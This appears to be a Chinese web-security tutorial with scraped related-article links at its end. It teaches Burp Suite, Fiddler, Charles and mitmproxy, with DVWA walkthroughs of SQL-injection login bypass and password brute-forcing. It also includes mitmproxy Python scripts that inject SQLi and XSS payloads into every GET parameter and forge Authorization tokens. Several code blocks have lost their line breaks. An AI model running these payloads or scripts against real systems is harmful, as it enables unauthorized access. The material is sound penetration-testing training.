当前位置: 首页 > news >正文

关于Web安全:8. Web 攻击流量分析与自动化

一、BurpSuite 基础与高级使用

Burp Suite 是一款中间人攻击代理工具,核心作用是在客户端(浏览器)与服务器之间“插一脚”,拦截一切 HTTP/HTTPS 流量,从而修改、重放、注入或自动化分析。

它不仅是抓包工具,还是渗透测试平台,适合用来:

  • 权限绕过

  • Web风险点利用

  • 脚本注入调试

  • 自动化攻击编排

1.1 Burp Suite 基础模块详解

1)Proxy(代理模块)——抓包与拦截的起点

功能:

  • 拦截浏览器与服务器之间的请求/响应

  • 可对请求参数、响应内容进行修改

使用步骤:

  1. 设置浏览器 HTTP 代理为 127.0.0.1:8080

  2. 开启 Burp -> Proxy -> Intercept is ON

  3. 拦截任意请求 → 修改后点击 Forward 放行

  4. 若不想中断,可设置 Intercept is OFF

实战应用:

  • 拦截登录请求,修改密码字段绕过验证

  • 删除前端传入的 isAdmin=false 字段

  • 手动构造数据包测试 API 行为

2)HTTP history(请求历史)——复盘与分析

  • 记录所有经过代理的请求和响应

  • 支持条件过滤(如 Method、URL、Status)

实战用途:

  • 查找是否有敏感接口被调用

  • 分析页面加载过程中的静态资源/API 请求

  • 检查 Token 变化与重定向逻辑

3)Repeater(请求重放)——测试点单步调试器

  • 可重复发送修改后的请求

  • 实时查看响应差异

使用方式:

右键请求 → Send to Repeater → 修改 → Send → 查看响应

实战场景:

  • 修改参数测试 SQLi/XSS 是否触发

  • 重放登录请求,构造越权访问

  • 验证某个 Cookie 是否控制权限

4)Intruder(爆破/模糊测试)——自动打 payload 的引擎

用于将 payload 注入指定位置进行批量测试,支持 4 种攻击方式:

模式说明
Sniper单点爆破,适合单参数
Battering ram所有位置使用同一个 payload
Pitchfork多参数并行使用不同 payload
Cluster bomb多参数组合爆破(笛卡尔积)

实战用法:

  • 登录爆破(用户名/密码字典)

  • 参数 fuzz 测试(XSS payload、SQL 注入)

  • 利用响应长度/内容判断成功与否

5)Decoder(编码解码器)——还原隐藏信息的工具

  • 支持 base64、URL 编码、HTML 编码等

  • 可多次嵌套编码或解码

实战例子:

  • 解密加密参数分析加密结构

  • 构造多层编码 XSS payload 绕过过滤

  • 还原 URL 参数还原真实意图

6)Comparer(差异对比器)

用于对比两个请求或响应,找出字节级别或词级别差异。

1.2 Burp Suite 高级使用详解

1)自动化爬虫(Crawler)——自动遍历整个站点

位置:Dashboard > Crawl and Audit(Pro 版)

  • 自动抓取所有页面、表单、JS 路由等

  • 可结合自动化风险点扫描器

使用技巧:

  • 先设置 Scope,防止越权抓取

  • 登录后再启动爬虫,抓取授权区域

  • 可结合 session rule 保持登录状态

2)Scope(作用范围)——设定目标边界

避免爬虫/拦截干扰第三方域名(如 CDN、支付接口)

操作:Target > Scope > Add 添加目标站点域名

3)Macros + Session Handling Rules(自动登录维持)——保持攻击不中断

  • 定义 Macro 自动重登录(抓包 -> 构建登录流程)

  • 设置 Rule,失效自动触发 Macro

典型用途:

  • 防止登录态过期

  • 自动化扫描 + 爆破时无缝保持会话

4)插件扩展(Burp Extender)——功能无限放大器

支持 Java、Jython、Python 插件扩展,可加载:

  • 官方 BApp Store 插件

  • 自定义逻辑脚本

常用插件(详细讲解见下节):

  • Autorize(越权检测)

  • Hackvertor(动态编码)

  • Reflector(快速发现反射点)

  • Logger++(高级日志记录)

5)被动扫描 + 主动扫描(Pro 专享)——自动找洞神器

自动发现 XSS、SQLi、CSRF 等风险点

  • 被动扫描:只分析已发送的请求

  • 主动扫描:构造 payload 测试是否存在风险点

1.3 Burp Suite 的实战操作案例

案例 1:使用 Burp 拦截 + 重放 DVWA 登录请求(手动尝试绕过)

目标:

  • 使用 Burp 拦截登录请求,分析参数结构

  • 使用 Repeater 重放登录请求,尝试构造注入绕过登录

准备:

  • DVWA 安装好并启动

  • 浏览器设置代理为 127.0.0.1:8080

  • Burp Suite 启动并开启拦截(Proxy → Intercept → ON)

步骤详解:

Step 1:登录 DVWA,触发拦截

  1. 打开浏览器,进入 http://localhost/DVWA/login.php

  2. 输入任意用户名密码(如 admin / admin)

  3. 点击“Login”后,Burp Suite 会拦截该请求

此时请求应如下:

POST /DVWA/login.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: ...username=admin&password=admin&Login=Login

Step 2:观察请求参数结构

你会看到三个参数:

  • username:用户名

  • password:密码

  • Login:按钮值

Step 3:修改参数尝试 SQL 注入绕过

  • username 修改为:admin'--

  • password 留空或随便填

  • 点击 Forward 放行请求

请求变为:

username=admin'-- &password=test&Login=Login

Step 4:观察响应结果(是否登录成功)

  • 如果 DVWA 安全级别为 Low,你会发现直接跳转到首页(index.php),说明登录成功。

  • 如果未成功,请尝试其他 payload:

    • admin'#

    • admin' OR '1'='1

Step 5:发送请求到 Repeater,便于反复测试

  • 在 Proxy 中右键请求 → Send to Repeater

  • 转到 Repeater 面板

  • 修改参数,不断尝试绕过

  • 点击 Send → 查看响应

案例 2:使用 Burp Intruder 对登录页面进行密码爆破

目标:

使用 Intruder 模块对 DVWA 登录页面进行弱口令爆破(如 admin/123456

准备:

  • DVWA 环境打开,设置安全等级为 Low

  • 浏览器登录页面输入用户名 + 任意密码 → 触发请求并在 Burp 中拦截

步骤详解:

Step 1:抓取一次正常登录请求

  • 在登录页面填写:

    • 用户名:admin

    • 密码:xxx

  • 拦截请求如下:

POST /DVWA/login.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencodedusername=admin&password=xxx&Login=Login

Step 2:将请求发送到 Intruder

  • 右键 → Send to Intruder

  • 转到 Intruder 标签页

Step 3:设置爆破位置

  • 清除自动标记的 payload

  • 手动选择 xxx(密码字段) → 点击 “Add”

  • 设置攻击类型为:Sniper(只爆破一个点)

Step 4:导入爆破字典

  • 点击 “Payloads” 标签页

  • 选择 Payload set: 1

  • 载入字典(可使用常见弱口令,如:123456, admin123, password, letmein)

示例手动输入:

123456
admin123
password
letmein
123123

Step 5:开始攻击

  • 点击 “Start attack”

  • 查看响应结果差异(可关注 Status、Length、Response)

观察:

  • 有些请求返回长度不一样,或响应中出现 Welcome 等关键词,说明爆破成功!


二、BurpSuite 插件系统

2.1 [Autorize] —— 自动化越权测试神器

作用:Autorize 用于检测 权限控制不严导致的越权访问风险点。比如:

  • 普通用户能访问管理员接口

  • 未登录状态可以访问已登录用户接口

典型场景:

  1. 你已经抓到了某个已登录请求

  2. 想知道如果换成另一个用户或未登录状态,是否还可以访问

使用流程:

Step 1:安装插件

  • Burp → ExtenderBApp Store → 安装 Autorize

Step 2:配置测试账号的 Cookie

  • 登录正常账号,复制 Cookie(或完整 Header)

  • 在插件面板中粘贴进:

    • “Your original request cookies/header”

  • 然后清除 Cookie(或登录其他角色)

Step 3:监听目标请求

  • 在 Burp 的 Proxy / Repeater 中抓取需要测试权限的请求

  • 右键 → Send to Autorize

Step 4:查看结果

插件会对这些请求使用原始身份、无身份、新身份依次测试,并返回:

  •  Access Control enforced(权限检查正常)

  •  Access Control Bypassed(权限绕过成功)

注意:

  • 支持 POST/GET/JSON 等请求格式

  • 可配合 Scope 限定检测范围

2.2 [Hackvertor] —— 编码解码 + Payload 编排插件

作用:Hackvertor 是 Burp 中最强大的 数据转换插件,用于自动:

  • 编码 / 解码(HTML、JS、Base64、Hex)

  • 加密 / 解密

  • 组合 Payload 链(绕过前端过滤)

使用流程:

Step 1:安装插件

  • Burp → ExtenderBApp Store → 安装 Hackvertor

Step 2:使用语法转义

  • 可以在 Repeater 或 Intruder 参数中直接使用 Hackvertor 标记:

§username§=admin&password=§H[base64]§password123§H[end]§

这个请求发送时会自动将 password123 转为 base64。

常见用途:

用途Hackvertor 语法
Base64 编码H[base64]dataH[end]
URL 编码H[urle]dataH[end]
Unicode 编码H[unicode]dataH[end]
HTML 编码H[html]dataH[end]
多层嵌套H[base64]H[urle]xss_payloadH[end]H[end]

实战场景:

  • 绕过前端 JS 检查或 WAF 过滤

  • 构造多层编码 payload(如 base64 + unicode + html)

  • 联合 Intruder 自动 Fuzz 编码组合攻击

2.3 [JS Miner] —— 提取 JavaScript 中的有用信息

作用:JS Miner 会自动提取目标网站 JavaScript 中的:

  • API 接口

  • 参数名

  • 密钥/Token

  • 正则规则

  • 敏感关键词

使用流程:

Step 1:安装插件

  • Burp → ExtenderBApp Store → 安装 JS Miner

Step 2:访问目标网站

  • Burp 自动监听所有加载的 JS 文件

  • JS Miner 会自动分析其中内容

Step 3:查看分析结果

  • JS Miner 标签下查看所有提取内容:

    • API endpoints

    • JWT / API keys

    • Variables

    • Regex Patterns

实战用途:

目标用法
提取隐藏接口分析 JS 脚本中定义的接口路径
识别参数名用于构造请求
获取 token某些 APP/WAF 在 JS 中藏有签名密钥
找到行为特征抓取正则验证逻辑,辅助绕过验证

注意事项:

  • 适用于大型 Web 应用,尤其是 SPA 或 React/Vue 应用

  • 可配合 Spider / Crawler 抓取所有 JS 文件

2.4 [Reflector] —— 自动检测反射点(XSS 助攻神器)

作用:Reflector 可以自动标记请求中哪些参数值被服务器 “原样返回” 到了响应页面中,是 XSS 的重要前置判断。

使用流程:

Step 1:安装插件

  • Burp → ExtenderBApp Store → 安装 Reflector

Step 2:抓包测试

  • 抓取一个包含参数的请求(比如 q=abc

  • Burp 会自动检测 abc 是否在响应中原样出现

Step 3:查看高亮

  • Reflector 自动高亮哪些参数被反射

  • 如果 abc 出现在 HTML、JS、URL 中 → 有 XSS 可能

实战用途:

功能用法
辅助 XSS快速定位反射参数
识别响应点判断 payload 该注入哪
和 Intruder 联动用于 Fuzz 所有参数是否会反射回页面

示例:

输入请求:

GET /search?q=test123

页面响应中出现:

<h1>You searched for test123</h1>

→ Reflector 会高亮这个参数,标记为 潜在反射点

2.5 小结

插件名作用实战用途
Autorize权限绕过检测检测未授权访问、权限控制失效
Hackvertor编码/混淆 payload绕过 WAF、组合攻击链
JS Miner提取 JS 中信息接口/密钥发现、参数识别
Reflector自动检测反射点辅助 XSS 检测、快速定位反射参数

三、Fiddler / Charles

工具系统优势劣势
FiddlerWindows(主打),mac 有旧版功能全、强大、脚本扩展多、免费UI 旧、不太适合 mac
CharlesmacOS 和 Windows稳定、UI 美观、适合抓 APP收费、功能略弱

两者本质都是:HTTP/HTTPS 代理工具

3.1 核心原理

代理模式 + SSL 中间人 + 请求/响应可视化 + 修改重发

  • 本地启动一个 HTTP 代理服务(如 127.0.0.1:8888)

  • 浏览器或手机设置为通过代理访问网络

  • 工具截获请求并解密(HTTPS 需安装自签证书)

  • 展示请求头、响应、正文、Cookie、参数等

  • 可修改后重放请求(如用于测试接口、绕过验证)

3.2 Fiddler 基础使用

1)安装和设置

  • 下载地址:https://www.telerik.com/fiddler

  • 安装后打开,默认监听 127.0.0.1:8888

2)设置浏览器代理

  • 浏览器手动设置为使用 Fiddler 代理 127.0.0.1:8888

  • 或使用自动配置(Fiddler 自动修改系统代理)

3)启用 HTTPS 解密

  • 打开菜单 Tools → Options → HTTPS

  • 勾选 Decrypt HTTPS traffic

  • 安装证书(默认只对浏览器有效)

4)抓包界面介绍

区域内容
左侧列表所有请求记录(按时间)
右侧 Inspector请求/响应内容(Headers、Raw、JSON 等)
Composer自定义请求(构造接口测试)
AutoResponder自动响应自定义内容(适合绕过验证)

5)手机抓包配置(以安卓为例)

  • 手机和电脑连接同一局域网

  • 手机代理设为电脑 IP + 8888 端口

  • 访问 http://电脑IP:8888 安装 Fiddler 证书

  • 安卓 7+ 要安装证书到系统信任(需 Root 或 Magisk 模块)

6)常见功能使用

  • 过滤器(Filter):只显示某个域名请求

  • 重放请求(Replay):右键某个请求 → Replay → Reissue Request

  • 修改请求参数:点击 Composer → 粘贴请求 → 修改参数发起

7)实战用途

场景说明
抓取 APP 接口配置手机代理后抓包分析接口参数
登录分析拿到 token、cookie 模拟登录
自动化爬虫配合 Python/JS 重复请求接口
绕过前端限制直接发起构造好的请求绕过 JS 验证
替换参数自定义 payload 测试 SQL/XSS/命令注入

3.3 Charles 基础使用

1)下载与安装

  • 官网:https://www.charlesproxy.com/

  • mac 强烈推荐 Charles(兼容好,证书处理简洁)

2)配置代理

  • 启动 Charles 默认监听 127.0.0.1:8888

  • 浏览器设置为代理即可抓包

  • 打开 Proxy → macOS Proxy 一键开启/关闭代理

3)HTTPS 抓包配置

  • Help → SSL Proxying → Install Charles Root Certificate

  • 导入后 → 信任该证书(系统 → 钥匙串 → 永久信任)

4)手机抓包

  • 手机与电脑同一 Wi-Fi

  • 手机代理设置为电脑 IP + 8888

  • 手机访问 http://charlesproxy.com/getssl 安装证书

  • 手动信任证书(安卓高版本需 Root)

5)实战功能

功能描述
Structure / Sequence显示按域名或时间排序请求
Request → Edit & Resend修改请求参数,测试接口
Breakpoints手动中断请求修改后再发
Map Local替换远程文件为本地文件(如替换 JS)
Throttle模拟网络延迟、丢包等

3.4 对比总结

功能FiddlerCharles
系统适配Windows 更强mac 更方便
HTTPS 抓包稳定但略麻烦一键配置
APP 抓包支持支持
本地替换文件插件支持Map Local 很方便
编程扩展支持 C#/脚本较弱
UI偏工程化更直观

四、Mitmproxy + Python 自动攻击脚本编写

4.1 Mitmproxy 简介

  • Mitmproxy 是一个开源的、基于命令行的 HTTPS 代理工具,支持实时拦截、修改 HTTP/HTTPS 流量。

  • 其核心优势是支持用 Python 脚本(addons) 实现自动化处理:拦截、篡改请求和响应,自动注入攻击 payload,快速测试风险点。

  • 适合自动化测试、渗透测试、调试 API、自动绕过防护。

4.2 Mitmproxy 安装和基本使用

pip install mitmproxy
  • 启动代理(默认端口 8080):
mitmproxy
  • 或无界面模式(更适合自动化):
mitmdump

4.3 Python 脚本(Addon)结构

一个最简单的 Mitmproxy 脚本示例:

from mitmproxy import httpdef request(flow: http.HTTPFlow) -> None:# 该函数会在每次客户端发出 HTTP 请求时被调用if "example.com/api/login" in flow.request.url:# 如果请求的 URL 包含指定的接口路径,则进行处理# 替换请求体中的内容,把 "password=123" 改为 "password=abc123"flow.request.text = flow.request.text.replace("password=123", "password=abc123")
  • 核心函数:
函数名说明
request(flow)请求发送前拦截
response(flow)响应到客户端前拦截
websocket_message(flow)Websocket 消息处理

4.4 自动攻击脚本示范

1)自动注入 SQL 注入 payload 测试所有 GET 请求参数

from mitmproxy import http
from urllib.parse import parse_qs, urlencode, urlsplit, urlunsplit# SQL 注入 payload,可以根据需要修改
sql_payload = "' OR '1'='1"def request(flow: http.HTTPFlow) -> None:# 仅处理 GET 请求if flow.request.method == "GET":url_parts = urlsplit(flow.request.url)              # 拆解 URL 各部分query = parse_qs(url_parts.query)                   # 解析 query 参数为字典 {key: [value1, value2]}modified = Falsefor k in query:# 给每一个参数值都追加 SQL 注入 payloadquery[k] = [v + sql_payload for v in query[k]]modified = Trueif modified:# 重新编码 query 参数new_query = urlencode(query, doseq=True)# 组装新的 URLnew_url = urlunsplit((url_parts.scheme,url_parts.netloc,url_parts.path,new_query,url_parts.fragment))# 替换请求中的 URLflow.request.url = new_url# 控制台输出修改结果print(f"[*] Modified URL: {flow.request.url}")

效果: 自动对所有 GET 参数注入经典 SQL 注入测试 payload。

2)自动绕过登录 token 校验,给请求头注入伪造 token

from mitmproxy import httpdef request(flow: http.HTTPFlow) -> None:# 判断请求 URL 是否包含特定接口路径if "api/secure" in flow.request.url:# 注入伪造的 Authorization 头部flow.request.headers["Authorization"] = "Bearer faketoken123456"# 控制台打印提示print("[*] Injected fake token into Authorization header")

3)自动检测并利用反射型 XSS(简单示范)

from mitmproxy import http# 定义 XSS 测试 Payload
xss_payload = "<script>alert('xss')</script>"def request(flow: http.HTTPFlow) -> None:# 仅处理 GET 请求,且 URL 中包含参数名 "q="if flow.request.method == "GET" and "q=" in flow.request.url:# 简单方式:直接拼接 Payload(注:可能会破坏原有参数结构)flow.request.url += xss_payload# 控制台打印提示print(f"[*] Injected XSS payload into {flow.request.url}")

4.5 综合示例:自动扫描 + 自动攻击流程

from mitmproxy import http  # 导入 mitmproxy 的 HTTP 模块
from urllib.parse import parse_qs, urlencode, urlsplit, urlunsplit  # 导入用于解析与重构 URL 的工具函数# Payload 定义
sql_payload = "' OR '1'='1"  # SQL 注入测试 Payload
xss_payload = "<script>alert('xss')</script>"  # XSS 注入测试 Payloaddef request(flow: http.HTTPFlow) -> None:  # 定义请求处理函数,每次请求都会触发url = flow.request.url  # 获取当前请求的完整 URL 字符串# 分析 URL,仅处理 GET 请求if flow.request.method == "GET":  # 如果请求方法是 GETurl_parts = urlsplit(url)  # 使用 urlsplit 分解 URL,返回 scheme、netloc、path、query、fragmentquery = parse_qs(url_parts.query)  # 解析 query 字符串为字典:{key: [value1, value2]}modified = False  # 标记是否进行了参数修改for k in query:  # 遍历每一个参数名# 注入 SQL payload(拼接到原始值后)query[k] = [v + sql_payload for v in query[k]]  # 将每个值后加上 SQL 注入 Payloadmodified = True  # 标记已修改# 如果参数名是 q,追加 XSS payload(进一步注入)if k == "q":  # 特殊处理参数名为 q 的query[k] = [v + xss_payload for v in query[k]]  # 在已注入 SQL 的基础上继续注入 XSS# 如果确实修改过参数,则重新构造新的 URLif modified:  # 如果参数被修改new_query = urlencode(query, doseq=True)  # 重新编码 query 字符串,doseq=True 保留列表参数new_url = urlunsplit((url_parts.scheme, url_parts.netloc, url_parts.path, new_query, url_parts.fragment))  # 使用修改后的 query 与原始 scheme/netloc/path/fragment 重新组装 URLflow.request.url = new_url  # 把新 URL 赋值回 flow 中,覆盖原始请求 URLprint(f"[*] Injected payloads into URL: {flow.request.url}")  # 打印修改后的 URL 供调试# Authorization Header 注入绕过if "api/secure" in flow.request.url:  # 如果当前请求 URL 中包含 api/secure(表示需要授权)flow.request.headers["Authorization"] = "Bearer faketoken123456"  # 添加/替换请求头中的 Authorization 字段print("[*] Injected fake token for auth bypass")  # 打印提示,说明已注入伪造 token

4.6 运行脚本示范

mitmdump -s your_script.py
  • 启动后将自动监听 8080 端口

  • 你配置浏览器或设备代理到 127.0.0.1:8080

  • 所有流量经过脚本自动处理,实现自动攻击

4.7 小结

优点Mitmproxy + Python
灵活可用 Python 自定义各种攻击流程
自动化实现无人工干预的批量攻击与测试
跨平台Windows、Linux、Mac 都支持
轻量纯命令行,适合服务器跑脚本

相关文章:

  • 学习笔记(26):线性代数-张量的降维求和,简单示例
  • Halcon透视矩阵
  • 学习笔记(25):线性代数,矩阵-矩阵乘法原理
  • 【Android】Android Studio项目代码异常错乱问题处理(2020.3版本)
  • AOSP (Android11) 集成Google GMS三件套
  • 服务器信任质询
  • Ubuntu Cursor升级成v1.0
  • 黑龙江云前沿服务器租用:便捷高效的灵活之选​
  • Linux容器篇、第二章_01Ubuntu22 环境下 KubeSphere 容器平台高可用搭建全流程
  • 矩阵和向量范数的区别分析
  • 【案例分享】如何借助JS UI组件库DHTMLX Suite构建高效物联网IIoT平台
  • Opencv中的copyto函数
  • Keil调试模式下,排查程序崩溃简述
  • 【行驶证识别成表格】批量OCR行驶证识别与Excel自动化处理系统,行驶证扫描件和照片图片识别后保存为Excel表格,基于QT和华为ocr识别的实现教程
  • MCP(Model Context Protocol)AI大模型的超级外挂
  • 安装pytorch、cuda11.8
  • 攻击模型的恶意行为检测
  • 全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
  • 【Spark征服之路-2.3-Spark运行架构】
  • 基于AWS Serverless架构:零运维构建自动化SEO内容生成系统
  • 做网站卖什么发财/北京互联网公司
  • 郑州网站建设网站推广/网络营销活动策划方案模板
  • 网站关键字优化地点/自己如何制作一个网站
  • 哪家公司可以做网站/类似58的推广平台有哪些平台
  • 网站售后服务模板/百度账号怎么改名字
  • 做网站需要看什么书/国内最新新闻摘抄